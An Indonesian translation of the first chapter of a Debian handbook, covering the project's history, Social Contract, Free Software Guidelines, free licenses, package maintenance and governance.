Debian adalah distribusi GNU/Linux. Kita akan mendiskusikan lebih lanjut apa itu distribusi dalam Bagian 1.5, “Peran dari Distribusi”, namun untuk saat ini kita akan nyatakan secara sederhana bahwa distribusi adalah sistem operasi yang lengkap, termasuk perangkat lunak dan sistem untuk melakukan instalasi dan pengelolaan, semua berbasis kernel Linux dan perangkat lunak bebas (khususnya dari proyek GNU).

Saat menciptakan Debian pada tahun 1993, di bawah kepempimpinan FSF, Ian Murdock memiliki objektif yang jelas, yang dinyatakan dalam Debian Manifesto. Sistem operasi bebas yang dia kejar akan memiliki dua fitur utama. Pertama, kualitas: Debian akan dikembangkan dengan perlakuan terbaik, agar layak bagi kernel Linux. Kedua: Debian akan menjadi distribusi non-komersial, yang cukup terpercaya untuk bersaing dengan distribusi komersial besar. Kedua ambisi ini, dalam pandangannya, hanya dapat dicapai dengan membuka proses pengembangan Debian seperti yang dilakukan pada proyek Linux dan GNU. Tinjauan dari rekan akan terus-menerus meningkatkan kualitas produk.

KULTUR GNU, proyek dari FSF

Proyek GNU merupakan beragam perangkat lunak bebas yang dikembangkan, atau disponsori, oleh Free Software Foundation (FSF), yang didirikan oleh pemimpin ikoniknya, Dr. Richard M. Stallman. GNU merupakan akronim rekursif, kependekan dari “GNU is Not Unix”.

KULTUR Richard Stallman

Pendiri FSF dan penulis lisensi GPL, Richard M. Stallman (seringkali dikenal dengan inisialnya, RMS), merupakan seorang pemimpin karismatik dari gerakan Free Software. Sikap Stallman yang sering tidak kenal kompromi membuat ia tidak disenangi oleh semua orang namun kontribusi non-teknisnya pada Free Software (khususnya pada legal dan filosifis) membuat ia dihormati semua orang.

1.1.1. Sistem Operasi Multi-Platform

KOMUNITAS Perjalanan Ian Murdock

Ian Murdock, pendiri proyek Debian, merupakan pemipin proyek Debian dari tahun 1993 hingga 1996. Setelah memberikan tongkat estafet kepemimpinan kepada Bruce Perens, Ian mengurangi perannya di publik. Ia kembali bekerja di belakang layar komunitas perangkat lunak bebas dengan mendirikan perusahaan Progeny, dengan maksud memasarkan distribusi turunan Debian. Sayangnya perusahaan ini gagal secara komersial. Setelah beberapa tahun berusaha hidup, perusahaan ini berjalan sebagai penyedia jasa hingga pada akhirnya dinyatakan bankrut pada April 2007. Dari beragam proyek yang diinisiasi oleh Progeny, hanya discover yang masih tersisa. Discover merupakan perkakas untuk mendeteksi perangkat keras secara otomatis.

Ian Murdock meninggal pada tanggal 28 Desember 2015 di San Francisco setelah suatu seri twit yang mengkhawatirkan, dimana dia melaporkan diserang oleh polisi. Pada Juli 2016 diumumkan bahwa kematiannya diputuskan sebagai bunuh diri.

Debian saat ini telah begitu sukses hingga mencapai ukuran yang luar biasa dengan tetap berpegangan teguh pada kedua prinsip awalnya. Saat ini ada 10 arsitektur perangkat keras yang didukung secara resmi dan juga kernel lain seperti FreeBSD (walaupun port berbasis FreeBSD bukan bagian dari arsitektur yang didukung secara resmi). Dengan lebih dari 28.000 paket sumber, perangkat lunak yang tersedia ini dapat memenuhi kebutuhan siapapun, baik pengguna di rumah atau di kantor.

Ukuran yang begitu besar ini seringkali menjadi tidak nyaman: sangat tidak masuk akal untuk mendistribusikan 16 DVD-ROM untuk menginstall sebuah versi lengkap pada sebuah standar PC... Itulah mengapa Debian semakin sering dianggap sebagai “meta-distribution”, yang dari Debian seseorang mengekstrak distribusi yang lebih spesifik yang ditujukan untuk khalayak publik tertentu: Debian Science untuk penggunaan ilmiah, Debian Edu untuk penggunaan pendidikan dan pedagogis dalam lingkungan akademis, Debian Med untuk aplikasi medis, Debian Jr. untuk anak-anak, dst. Daftar yang lebih lengkap dapat ditemukan pada Bagian 1.3.3.1, “Sub-Proyek Debian Saat Ini”, didedikasikan ke tujuan tersebut.

Pembagian ini diatur dalam kerangka kerja yang terdefinisi, sehingga terbebas dari ketidaknyamanan kompatibilitas dengan beragam “sub-distributions”. Semua sub-distribusi mengikuti perencanaan umum untuk rilis versi baru. Karena dibangun dari fondasi yang sama, mereka dapat dikembangkan dengan mudah, dilengkapi, dan dipersonalisasi dengan aplikasi yang tersedia dalam repositori Debian.

Semua perkakas Debian beroperasi dengan urutan sebagai berikut: debian-cd setelah sekian lama sekarang mendukung pembuatan paket-paket pilihan untuk dikemas dalam CD-ROM; debian-installer juga merupakan peng-install modular, dapat diadopsi dengan mudah untuk keperluan khusus. APT akan meng-install paket dari beragam sumber, dengan menjamin kohesi dari sistem secara keseluruhan.

PERKAKAS Membuat CD-ROM Debian

debian-cd membuat citra ISO media instalasi (CD, DVD, Blu-Ray, dll.) siap untuk digunakan. Hal yang terkait dengan perangkat lunak ini didiskusikan dalam milis <debian-cd@lists.debian.org> (dalam bahasa Inggris). Tim ini dipimpin oleh Steve McIntyre yang menangani pembangunan Debian ISO resmi.

KEMBALI KE DASARMacam-macam arsitektur komputer

Istilah “arsitektur” menandakan tipe komputer (yang paling umum diketahui adalah Mac atau PC). Setiap arsitektur utamanya dibedakan berdasarkan prosesor. Perbedaan dalam perangkat keras ini berefek pada perbedaan macam-macam operasi sehingga mengharuskan perangkat lunak dikompilasi secara khusus untuk setiap arsitektur.

Kebanyakan perangkat lunak yang tersedia dalam Debian ditulis dengan bahasa pemrograman yang portabel: kode sumber yang sama dapat di-compile pada berragam arsitektur. Akibatnya, sebuah biner executable, yang selalu di-compile untuk arsitektur tertentu, umumnya tidak akan berfungsi pada arsitektur lainnya.

Ingat bahwa setiap program dibuat dengan menulis kode sumber; kode sumber ini merupakan berkas teks yang terdiri dari instruksi dalam suatu bahasa pemrograman. Sebelum Anda dapat menggunakan perangkat lunak, Anda perlu meng-compile kode sumber, yang ini berarti mengubah kode menjadi binari (serangkaian instruksi mesin yang dapat dieksekusi oleh prosesor). Setiap bahasa pemrograman memiliki compiler khusus untuk mengeksekusi operasi ini (contohnya gcc untuk bahasa pemrograman C).

PERKAKAS Installer

debian-installer adalah nama program instalasi Debian. Desainnya yang modular memungkinkan untuk bisa digunakan dengan berbagai macam skenario instalasi. Pengerjaan pengembangannya dikoordinasikan melalui milis <debian-boot@lists.debian.org> di bawah arahan dari Cyril Brulebois.

1.1.2. Kualitas dari Perangkat Lunak Bebas

Debian mengikuti semua prinsip Free Software, dan versi barunya tidak akan dirilis hingga siap. Pengembang tidak bekerja mengikuti jadwal yang ditata dan tidak perlu buru-buru untuk memenuhi tenggat waktu. Orang-orang sering kali mengeluh mengapa waktu antar rilis stabil Debian begitu lama, namun kehati-hatian ini juga memastikan legenda kehandalan Debian terpenuhi: pengujian berbulan-bulan merupakan proses yang memang dibutuhkan distribusi untuk mendapatkan label "stable".

Debian tidak akan berkompromi dengan kualitas: semua bug kritis pada paket-paket kunci diperbaiki dalam semua versi baru, bahkan jika hal ini membutuhkan mengulur jadwal rilis yang sebelumnya telah direncanakan. Paket-paket opsional yang bug kritisnya tidak diperbaiki, sehingga tidak memenuhi persyaratan kualitas, akan sekadar dihapus dari rilis stable.

1.1.3. Kerangka Legal: Organisasi Nirlaba

Berbicara soal legalitas, Debian adalah proyek yang dikelola oleh asosiasi relawan nirlaba Amerika Serikat. Proyek ini telah memiliki ribuan pengembang Debian, dan jumlah yang lebih banyak lagi untuk kontributor (penerjemah, pelapor kutu, seniman, pengembang lepas, dst.).

Untuk mewujudkan misinya, Debian memiliki infrastruktur yang besar dengan banyak server terhubung menyeberang Internet, ditawarkan dan diwadahi oleh banyak sponsor.

KOMUNITAS Di Balik Debian: Asosiasi SPI dan cabang lokal

Debian tidak memiliki satupun server atas namanya sendiri karena Debian hanyalah proyek di dalam asosiasi Software in the Public Interest (SPI) yang mengelola perangkat keras dan aspek finansial (donasi, pembelian perangkat keras, dst.). Walaupun pada masa awal berdirinya SPI hanya ditujukan untuk proyek Debian namun sekarang telah menambah juga pada proyek perangkat lunak bebas lainnya, khususnya basis data PostgreSQL, Freedesktop.org (proyek standardisasi untuk lingkungan grafis desktop, seperti GNOME dan KDE Plasma). dan serangkaian aplikasi perkantoran Libre Office.

→ https://www.spi-inc.org/

Sebagai pelengkap SPI, beragam asosiasi lokal berkolaborasi erat dengan Debian untuk mendapatkan dana bagi Debian, tanpa harus membuat segala sesuatunya terpusat di Amerika Serikat: mereka dikenal sebagai "Organisasi Terpercaya" dalam istilah Debian. Skenario ini menghindari biaya transfer internasional yang terlalu besar dan sesuai dengan karakter desentralisasi proyek Debian.

Jangan ragu untuk bergabung dengan asosiasi lokal Anda dan mendukung proyek!

→ https://wiki.debian.org/Teams/Auditor/Organizations

→ https://france.debian.net/

→ https://debian.ch/

1.2. Dokumen Fondasi

Beberapa tahun setelah peluncuran perdana, Debian memformalkan prinsip yang perlu diikuti sebagai proyek perangkat lunak bebas. Aktivitas ini memungkinkan pertumbuhan yang teratur dan baik dengan memastikan bahwa semua anggota menuju ke arah yang sama. Untuk menjadi pengembang Debian, setiap kandidat harus menegaskan dan membuktikan dukungan mereka dan ketaatan pada prinsip yang ditetapkan dalam Dokumen Fondasi proyek.

Selalu ada perdebatan dalam proses pengembangan, namun Dokumen Fondasi disepakati dan didukung luas sehingga jarang berubah. Konstitusi Debian juga menawarkan jaminan lain: diperlukan minimal 3/4 suara mayoritas untuk menyetujui perubahan.

1.2.1. Komitmen pada Pengguna

Proyek Debian juga memiliki "kontrak sosial". Tempat lain mana yang memiliki dokumen tertulis dalam proyek yang hanya bertujuan untuk pengembangan sistem operasi? Sebenarnya hal ini dapat dijelaskan dengan sederhana: Debian bekerja untuk penggunanya dan selanjutnya untuk masyarakat. Kontrak sosial ini meringkas komitmen yang proyek Debian miliki. Mari kita pelajari hal ini lebih detail:

1. Debian akan tetap 100% bebas.
Ini merupakan aturan No. 1. Debian telah dan akan tetap tersusun seutuhnya dari perangkat lunak bebas. Sebagai tambahan, semua pengembangan perangkat lunak dalam proyek Debian, akan bebas.

PERSPEKTIF Lebih dari perangkat lunak

Versi pertama dari Kontrak Sosial Debian mengatakan “Debian Akan Tetap Perangkat Lunak Bebas 100%”. Hilangnya kata-kata ini (dengan ratifikasi dari Versi 1.1 kontrak pada April 2004) menandakan keinginan Debian untuk meraih kebebasan tidak hanya dalam perangkat lunak tapi juga dalam dokumentasi dan elemen apapun lainnya yang Debian harap bisa disediakan dalam sistem operasi.

Perubahan ini yang awalnya dimaksudkan hanya sebatas editorial, pada praktiknya memunculkan banyak konsekuensi khususnya dengan penghilangan beberapa dokumentasi bermasalah. Lebih lanjut, penggunaan firmware dalam driver yang terus meningkat memunculkan beberapa masalah: umumnya firmware yang tidak-bebas namun dibutuhkan agar perangkat lunak terkait bisa beroperasi dengan baik.

2. Kami akan memberikan kembali kepada komunitas perangkat lunak bebas.
Setiap peningkatan yang dikontribusikan oleh proyek Debian pada karya yang diintegrasikan dalam distribusi, diberikan kembali kepada penulis karya (disebut “upstream”). Umumnya, Debian akan bekerja sama dengan komunitas alih-alih bekerja dalam isolasi.

KOMUNITAS Penulis upstream, atau pengembang Debian?

Istilah “penulis upstream” berarti penulis/pengembang karya, mereka yang menulis dan mengembangkannya. Atau dengan kata lain, seorang “pengembang Debian” menggunakan pekerjaan yang sudah ada untuk mengubahnya menjadi paket Debian (istilah “Debian maintainer” sebenarnya lebih tepat).

Dalam praktek, bisa ada tumpang tindih antara kedua peran: Debian maintainer dapat menulis patch, yang menguntungkan semua pengguna dari pekerjaan. Umumnya, Debian mendorong mereka yang bertanggung jawab dari paket Debian untuk terlibat juga dalam pengembangan “upstream” (selanjutnya mereka menjadi kontributor tanpa kemudian dibatasi hanya menjadi pengguna dari program).

3. Kami takkan menyembunyikan masalah.
Debian tidak sempurna, dan akan ada masalah-masalah baru untuk diperbaiki setiap hari. Debian akan menjaga seluruh basis data pelaporan bug terbuka untuk dilihat publik setiap saat. Laporan yang orang-orang sampaikan secara daring akan terlihat oleh lainnya.

4. Prioritas kami adalah pengguna dan perangkat lunak bebas.
Komitmen ini lebih sulit didefinisikan. Debian seringkali harus membuat keputusan yang bias. Debian akan mengacuhkan solusi mudah bagi pengembang yang akan mengganggu pengalaman pengguna. Debian akan memilih solusi yang lebih elegan walaupun solusi ini lebih sulit diterapkan. Hal ini menandakan prioritas Debian untuk kepentingan pengguna dan perangkat lunak bebas.

5. Pekerjaan yang tidak memenuhi standar perangkat bebas kami.
Debian menerima dan mengerti bahwa pengguna seringkali ingin menggunakan beberapa program non-free. Itulah mengapa proyek Debian mengizinkan penggunaan sebagian dari infrastruktur Debian untuk mendistribusikan paket Debian dari perangkat lunak non-free yang dapat dengan aman didistribusikan ulang.

KOMUNITAS Ya atau tidak untuk bagian non-free?

Komitmen untuk menjaga struktur yang mengakomodasi perangkat lunak non-free (contoh bagian “non-free”, lihat boks KOSAKATA Arsip main, contrib dan non-free merupakan hal yang seringkali menjadi perdebatan dalam komunitas Debian.

Mereka yang tidak setuju berpendapat hal ini membuat orang-orang beralih dari perangkat lunak bebas ekivalennya, dan berlawanan dengan prinsip hanya melayani perihal perangkat lunak bebas. Mereka yang setuju menyatakan bahwa mayoritas paket non-free adalah “hampir bebas”, dan tertahan hanya karena satu atau dua larangan menyebalkan (yang paling sering adalah larangan dari penggunaan perangkat lunak secara komersial). Dengan mendistribusikan pekerjaan pada cabang non-free, kami secara tidak langsung menjelaskan kepada para penulis bahwa kreasi mereka akan diketahui lebih baik dan digunakan lebih banyak orang jika kreasi mereka dapat dimasukkan pada bagian main. Selanjutnya mereka diundang secara elegan untuk mengubah lisensi agar tujuan ini tercapai.

Setelah usaha pertama pada tahun 2004 yang tidak berhasil, penghilangan seluruh bagian non-free mungkin tidak akan masuk agenda lagi, khususnya semenjak banyak dokumen berguna yang dipindahkan karena mereka tidak memenuhi persyaratan untuk menjadi bagian main. Khususnya pada kasus dokumentasi perangkat lunak yang dikeluarkan oleh proyek GNU (khususnya, Emacs dan Make).

Keberadaan bagian non-free seolah menghina secara khusus Free Software Foundation, sehingga menyebabkan FSF menolak untuk secara resmi merekomendasikan Debian sebagai sistem operasi.

1.2.2. Debian Free Software Guidelines (Panduan Perangkat Lunak Bebas Debian)

Pada dokumen referensi ini didefinisikan perangkat lunak mana yang “cukup bebas” untuk disertakan dalam Debian. Jika lisensi sebuah program sejalan dengan prinsip ini maka dapat dimasukkan dalam bagian main; di sisi lain, jika dinyatakan bahwa distribusi bebas diizinkan maka dapat ditemukan pada bagian non-free. Bagian non-free tidak selalu menjadi bagian resmi Debian; bagian ini disediakan sebagai layanan tambahan bagi para pengguna.

Lebih dari sekedar kriteria seleksi bagi Debian, dokumen ini telah menjadi otoritas bagi perangkat lunak bebas, dan telah menjadi dasar dari “Definisi Open Source”. Hal ini menjadi salah satu formalisasi pertama konsep “free software”.

Lisensi GNU General Public License, BSD License, dan Artistic License adalah contoh dari lisensi tradisional bebas yang mengikuti 9 poin dalam dokumen ini. Di bawah ini Anda akan menemukan dokumen seperti yang dipublikasikan dalam situs Debian.

→ https://www.debian.org/social_contract#guidelines

1. Bebas distribusi-ulang.  Lisensi dari komponen Debian tidak boleh melarang pihak manapun untuk menjual atau memberikan perangkat lunak ini sebagai komponen dari distribusi perangkat lunak yang di dalamnya disertakan program dari beragam sumber yang berbeda. Lisensi tidak mensyaratkan royalti atau upah untuk penjualan seperti ini.

2. Kode sumber.  Program harus menyertakan kode sumber dan harus mengizinkan distribusi kode sumber sebagaimana bentuk program yang sudah terkompilasi.

3. Karya turunan.  Lisensi harus mengizinkan modifikasi dan karya turunan, dan harus mengizinkan mereka didistribusikan dengan lisensi yang sama dari perangkat lunak asalnya.

4. Integritas dari kode sumber penulis.  Lisensi dapat melarang kode sumber dari pendistribusian dalam bentuk yang sudah termodifikasi hanya jika lisensi mengizinkan distribusi dari “berkas patch” dengan kode sumber untuk tujuan memodifikasi program saat dibangun. Lisensi harus secara eksplisit mengizinkan distribusi perangkat lunak dibangun dari kode sumber yang sudah dimodifikasi. Lisensi mungkin mensyaratkan karya turunan dengan nama atau nomor versi berbeda dari perangkat lunak asalnya (Hal ini adalah kompromi. Debian menyarankan semua penulis untuk tidak melarang berkas apapun, kode ataupun binari, dari modifikasi).

5. Tidak ada diskriminasi terhadap seseorang atau kelompok.  Lisensi tidak boleh mendiskriminasikan siapapun atau kelompok manapun.

6. Tidak ada diskriminasi terhadap bidang kerja.  Lisensi tidak boleh melarang seseorang dari penggunaan program pada suatu bidang kerja tertentu. Contohnya, tidak boleh melarang penggunaan program untuk digunakan dalam bisnis, atau dalam penggunaan riset genetik.

7. Distribusi lisensi.  Hak yang melekat pada program harus diterapkan pada semua hal di mana program didistribusikan ulang tanpa keharusan pengecualian dari lisensi tambahan oleh pihak tersebut.

8. Lisensi tidak harus spesifik terbatas pada Debian.  Hak yang melekat pada program tidak boleh bergantung pada program yang menjadi bagian dari sistem Debian. Jika program diekstrak berasal dari Debian lalu digunakan atau didistribusikan tanpa Debian namun sebaliknya menggunakan persyaratan dari lisensi program maka semua pihak yang menerima distribusi-ulang harus memiliki hak yang sama dengan mereka yang dengan hubungannya terhadap sistem Debian.

9. Lisensi tidak boleh mengkontaminasi perangkat lunak lainnya.  Lisensi tidak boleh menempatkan larangan pada perangkat lunak lainnya yang didistribusikan bersama dengan perangkat lunak berlisensi. Contohnya, lisensi tidak boleh memaksa bahwa semua program lainnya yang didistribusikan pada media yang sama harus berupa perangkat lunak bebas.

KEMBALI KE DASAR Copyleft

Coplyleft adalah prinsip yang terdiri dari penggunaan copyrights untuk menjamin kebebasan dari karya dan turunannya, daripada membatasi hak penggunaan, dalam kasus ini perangkat lunak proprietary. Ini juga merupakan permainan kata-kata dari istilah “copyright”. Richard Stallman menemukan ide ini saat seorang temannya, menulis di atas amplop yang ditujukan padanya: “copyleft: all rights reversed”. Copyleft memaksakan menjaga semua kebebasan awal dari distribusi versi asli atau modifikasi dari karya (umumnya sebuah program). Sehingga tidak mungkin mendistribusikan program sebagai perangkat lunak proprietary jika diturunkan dari kode dari program yang dirilis dengan copyleft.

Lisensi copyleft yang paling diketahui tentunya adalah, GNU General Public License (GPL), dan turunannya, GNU Lesser General Public License (LGPL), dan GNU Free Documentation License (GFDL). Sayangnya, lisensi copyleft umumnya tidak kompatibel satu sama lain. Sehingga yang paling baik adalah menggunakan salah satu dari mereka.

10. Contoh lisensi.  Lisensi "GPL", "BSD", dan "Artistik" adalah contoh-contoh lisensi yang kami anggap "bebas".

KEMBALI KE DASAR Lisensi-lisensi Bebas

Lisensi GNU GPL, BSD, dan Artistic; semuanya memenuhi Debian Free Software Guidelines, walaupun sebenarnya mereka semua sangat berbeda.

GNU GPL, digunakan dan dipromosikan oleh FSF (Free Software Foundation), adalah yang paling umum. Fitur utamanya GNU GPL adalah berlaku juga pada semua karya turunan yang didistribusikan ulang: sebuah program yang menggabungkan atau menggunakan kode GPL hanya dapat didistribusikan selama memenuhi syarat. Hal ini melarang penggunaan ulang pada aplikasi proprietary. Lalu muncul masalah serius bagi penggunaan ulang kode GPL dalam perangkat lunak yang tidak sesuai dengan lisensi ini. Kadang-kadang dalam kondisi seperti ini menjadi tidak mungkin menyambungkan program yang dipublikasikan dengan lisensi perangkat lunak bebas dengan pustaka yang didistribusikan dalam lisensi GPL. Di sisi lain, lisensi ini sangat kuat dalam hukum Amerika Serikat: partisipasi pengacara FSF dalam penyusunan draft dan sering kali telah memaksa para pelanggar untuk meraih kesepakatan damai dengan FSF tanpa harus sampai ke pengadilan.

→ https://www.gnu.org/copyleft/gpl.html

Lisensi BSD, adalah yang paling longgar: semuanya diperbolehkan, termasuk penggunaan dari modifikasi kode BSD dalam aplikasi proprietary.

→ https://www.opensource.org/licenses/bsd-license.php

Akhirnya, Artistic License menjadi kompromi di antara dua lainnya: integrasi kode dalam aplikasi proprietary diizinkan namun semua modifikasi harus dipublikasikan.

→ https://www.opensource.org/licenses/artistic-license-2.0.php

Teks lengkap dari lisensi ini tersedia di /usr/share/common-licenses/ pada semua sistem Debian (dalam kasus BSD Lisensi 3-Klausul yang lebih baru).

KOMUNITAS Bruce Perens, seorang pemimpin kontroversial

Bruce Perens, pemimpin kedua dari proyek Debian setelah Ian Murdock, merupakan seseorang yang sangat kontroversial dengan gaya dinamis dan otoriter-nya. Bagaimanapun juga ia merupakan seorang kontributor yang penting bagi Debian. Debian berhutang besar ke Bruce Perens, dengan penyuntingan “Debian Free Software Guidelines” yang terkenal, sebuah ide yang berasal dari Ean Schuessler. Selanjutnya, Debian akan menurunkannya menjadi “Open Source Definition”, dengan menghapus semua referensi ke Debian darinya.

→ https://opensource.org/

Kepergiannya dari proyek sangat emosional namun Bruce tetap terikat kuat dengan Debian dengan ia berusaha mempromosikan distribusi ini pada ranah politik dan ekonomi. Bruce masih suka muncul di milis secara sporadis untuk memberikan saran dan kehadirannya pada inisiatif terakhir untuk Debian.

Poin anekdot terakhir, adalah Bruce yang bertanggung jawab atas inspirasi macam-macam “codenames” dari versi Debian (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze,7 — Wheezy, 8 — Jessie, 9 — Stretch, 10 — Buster, 11 (belum dirilis) — Bullseye, 12 (belum dirilis) — Bookworm, Unstable — Sid). Nama-nama ini diambil dari nama karakter cerita film Toy Story. Film animasi ini seluruhnya dibuat menggunakan komputer grafik yang diproduksi oleh Pixar Studios, tempat Bruce bekerja saat ia memimpin proyek Debian. Nama “Sid” memiliki status khusus karena selamanya akan terasosiasi dengan Debian Unstable. Pada film ini, karakter Sid digambarkan sebagai anak tetangga yang selalu merusak mainan — jadi hati-hati jika terlalu dekat dengan Unstable. Selain itu, Sid juga menjadi kependekan dari “Still In Development”.

1.3. Bagaimana Proyek Debian Bekerja

Karya yang dihasilkan proyek Debian merupakan hasil simultan dari kerja infrastruktur yang dilakukan oleh para pengembang Debian berpengalaman, individu, atau pekerjaan kolektif dari para pengembang paket Debian, dan umpan balik pengguna.

1.3.1. The Debian Developers (Pengembang Debian)

Pengembang Debian memiliki banyak tanggung jawab, dan sebagai anggota resmi proyek, mereka memiliki pengaruh besar mengenai arah proyek ini. Seorang pengembang Debian umumnya bertanggung jawab atas paling tidak satu paket, namun sesuai dengan waktu yang tersedia dan keinginan mereka, mereka bebas untuk bergabung ke beberapa tim, sehingga memiliki tanggung jawab lebih dalam proyek.

→ https://www.debian.org/devel/people

→ https://www.debian.org/intro/organization

→ https://wiki.debian.org/Teams

PERKAKAS Basisdata Pengembang

Debian memiliki basis data semua pengembang yang terdaftar dalam proyek dengan informasi relevan (alamat, telepon, koordinat geografis seperti lintang dan bujur, dsb.). Beberapa informasi (nama lengkap, negara, nama pengguna dalam proyek, nama pengguna IRC, kunci GnuPG, dsb.) bersifat publik dan tersedia di Web.

→ https://db.debian.org/

Koordinat geografis memungkinkan pembuatan peta yang berisi lokasi para pengembang di seluruh belahan dunia. Debian sungguh merupakan sebuah proyek internasional: Para pengembang Debian bisa ditemukan di seluruh benua, walau mayoritas berada di "Barat".

Gambar 1.1. Distribusi pengembang Debian di seluruh dunia

Pemeliharaan paket menjadi aktivitas yang relatif terorganisir, terdokumentasi sangat baik atau bahkan sangat diatur. Pemeliharaan paketharus memenuhi semua standar dari Debian Policy. Untungnya, terdapat banyak perkakas yang memfasilitasi pekerjaan pemeliharaan paket ini. Pengembang lantas dapat langsung fokus pada spesifikasi paket mereka dan pada pekerjaan yang lebih rumit, seperti memecahkan bug.

→ https://www.debian.org/doc/debian-policy/

KEMBALI KE DASAR Pemeliharaan paket, pekerjaan pengembang

Pemeliharaan paket pertama-tama membutuhkan sebuah program “packaging”. Secara khusus hal ini berarti mendefinisikan arti dari instalasi, sehingga saat ter-install, program ini akan beroperasi dan memenuhi semua peraturan dari proyek Debian. Hasil dari pemaketan disimpan dalam sebuah berkas .deb . Instalasi program yang efektif selanjutnya tidak akan membutuhkan apa-apa selain dari hanya mengekstrak arsip terkompresi ini dan mengeksekusi beberapa script pre-instalasi atau post-instalasi yang ada.

Setelah fase awal ini, siklus pemeliharaan sesungguhnya baru saja dimulai: persiapan dari pemutakhiran untuk mengikuti versi terakhir dari Debian Policy, memperbaiki bug yang dilaporkan pengguna, pemasukan versi “upstream” baru dari program, yang secara alami berlanjut untuk mengembangkan secara simultan (contoh: pada waktu pemaketan awal, versi program adalah 1.2.3. Setelah beberapa bulan pengembangan, penulis awal merilis versi stabil baru, dengan nomor versi 1.4.0. Pada titik ini, Debian maintainer harus memperbaharui paket, sehingga pengguna dapat memanfaatkan keuntungan dari versi stabil terbaru).

Kebijakan, elemen penting dari Proyek Debian, menyediakan aturan yang memastikan kualitas paket dan interoperabilitas sempurna dari distribusi. Terima kasih pada Kebijakan ini, Debian tetap konsisten terlepas dari ukurannya yang begitu besar. Kebijakan ini tidak mati, namun secara terus-menerus berevolusi, terima kasih atas proposal yang diformulasikan dalam milis <debian-policy@lists.debian.org>. Amandemen yang disetujui oleh semua pihak diterima dan diterapkan ke dalam dokumen oleh kelompok kecil pengelola yang tidak memiliki tanggung jawab editorial (mereka hanya menyertakan modifikasi yang telah disetujui oleh pengembang Debian yang merupakan anggota dari milis debian-policy). Anda dapat membaca amandemen saat ini pada sistem pelacakan bug:

→ https://bugs.debian.org/debian-policy

KOMUNITAS Proses penyuntingan Kebijakan

Siapa saja dapat mengajukan amandemen Debian Policy hanya dengan mengisi laporan bug dengan tingkat severity “wishlist” pada paket debian-policy. Proses selanjutnya didokumentasikan di dalam https://www.debian.org/doc/debian-policy/ap-process.html: Jika usulan ini diakui bahwa masalah yang timbul harus dipecahkan dengan membuat peraturan baru dalam Debian Policy, diskusi dimulai dalam milis <debian-policy@lists.debian.org> hingga tercapai konsensus dan sebuah proposal disusun. Seseorang lalu menyusun draft amandemen yang ingin dibuat dan menyerahkannya untuk persetujuan (dalam bentuk patch untuk di-review). Begitu dua pengembang lain menyetujui bahwa amandemen yang diajukan merefleksikan konsensus diskusi sebelumnya, proposal dapat dimasukkan ke dalam dokumen resmi oleh salah seorang pengelola paket debian-policy. Jika proses gagal pada salah satu langkah di atas, pengelola akan menutup bug dengan mmemasukkan ke dalam kategori yang ditolak.

DEBIAN POLICY Dokumentasi

Dokumentasi dari setiap paket disimpan di dalam /usr/share/doc/package/. Direktori ini seringkali berisi berkas README.Debian yang mendeskripsikan pengaturan spesifik-Debian yang dibuat oleh pengelola paket. Sehingga cukup bijak untuk membaca berkas ini sebelum melakukan perubahan konfigurasi dengan mempelajari pengalaman pengelola paket. Kita juga dapat menemukan berkas changelog.Debian.gz yang mendeskripsikan perubahan yang dibuat dari satu versi ke versi selanjutnya oleh pengelola Debian. Tidak perlu bingung dengan changelog.gz (atau yang serupa), yang mendeskripsikan perubahan yang dibuat oleh pengembang upstream. Berkas copyright termasuk informasi mengenai penulis dan lisensi perangkat lunak. Akhirnya, kita juga dapat menemukan berkas dengan nama NEWS.Debian.gz, yang memungkinkan pengembang Debian untuk mengkomunikasikan informasi penting terkait pemutakhiran (jika apt-listchanges digunakan, pesan yang ditampilkan otomatis oleh apt). Semua berkas selain ini merupakan berkas spesifik untuk perangkat lunak. Kami ingin menunjukkan khususnya examples sub-directory, yang seringkali berisi contoh dari berkas konfigurasi.

Kebijakan memuat aspek teknis pemaketan dengan sangat baik. Ukuran dari proyek juga memunculkan permasalahan organisasi; hal ini ditangani oleh Debian Constitution, yang menyediakan struktur dan mekanisme untuk membuat keputusan.

Konstitusi ini mendefinisikan beberapa peran dan posisi, berikut dengan tanggung jawab dan kewenangannya. Secara khusus perlu diperhatikan bahwa pengembang Debian selalu memiliki kewenangan dalam membuat keputusan terakhir di sidang umum, di mana diperlukan tiga-per-empat (75%) suara diperlukan untuk membuat perubahan (misalnya yang memiliki efek pada Dokumen Yayasan). Biar bagaimanapun, setiap tahunnya pengembang memilih seorang “pemimpin” untuk merepresentasikan mereka dalam pertemuan, dan memastikan koordinasi internal antara beragam tim. Pemilihan ini selalu penuh dengan diskusi intensif. Peran pemimpin tidak didefinisikan secara formal dalam dokumen mana pun: kandidat untuk posisi ini umumnya mengajukan pemahaman mereka sendiri akan posisi pemimpin. Pada praktiknya, peran pemimpin termasuk sebagai perwakilan ke media, koordinasi antara tim “internal”, dan menyediakan panduan umum ke proyek, di mana pengembang dapat menghubungkan: pandangan DPL secara implisit disetujui oleh mayoritas anggota proyek.

Secara khusus, seorang pemimpin memiliki otoritas; hak suaranya memecahkan pemungutan suara seri; ia dapat membuat keputusan apapun yang sebelumnya tak seorang pun memiliki wewenang dan dapat mendelegasikan sebagian tanggung jawabnya.

Sejak masa kelahirannya, proyek Debian telah dipimpin secara berturut-turut oleh Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre, Stefano Zacchiroli, Lucas Nussbaum, Mehdi Dogguy, Chris Lamb, dan Sam Hartman.

Konstitusi telah mendefinisikan sebuah “komite teknis”. Peran dasar komite ini adalah memutuskan hal-hal teknis saat para pengembang yang terlibat belum mencapai kesepakatan di antara mereka sendiri. Selain itu, komite ini berperan sebagai penasihat bagi pengembang mana pun yang tidak bisa membuat keputusan yang mereka bertanggung jawab atasnya. Penting untuk dicatat bahwa mereka hanya terlibat saat diundang oleh salah satu pihak yang membutuhkan.

Akhirnya, di dalam konstitusi didefinisikan posisi “sekretaris proyek” yang bertanggung jawab atas proses pemungutan suara dari beragam pemilihan dan sidang umum.

